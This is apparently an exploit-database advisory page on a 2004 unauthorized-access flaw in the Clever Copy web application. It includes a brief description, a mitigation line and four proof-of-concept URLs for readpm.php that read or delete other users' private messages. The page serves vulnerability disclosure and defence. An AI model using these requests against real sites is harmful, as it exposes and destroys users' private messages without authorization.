header-logo
Suggest Exploit
vendor:
Clever Copy
by:
SecurityFocus
3.3
CVSS
MEDIUM
Unauthorized Access
287
CWE
Product Name: Clever Copy
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2004

Clever Copy Unauthorized Access Vulnerability

Clever Copy is affected by an unauthorized access vulnerability. This issue is due to a failure in the application to perform proper access validation checks before granting access to private message functions. An attacker can exploit this vulnerability to delete or view arbitrary private messages of an valid user.

Mitigation:

Perform proper access validation checks before granting access to private message functions.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/14397/info

Clever Copy is affected by an unauthorized access vulnerability. This issue is due to a failure in the application to perform proper access validation checks before granting access to private message functions.

An attacker can exploit this vulnerability to delete or view arbitrary private messages of an valid user. 

http://www.example.com/readpm.php?op=read&ID=2&name=pruebas&user=waltrapass
http://www.example.com/readpm.php?op=read&ID=2&user=waltrapass

http://www.example.com/readpm.php?op=del&ID=2&name=pruebas&user=waltrapass
http://www.example.com/readpm.php?op=del&ID=2&user=waltrapass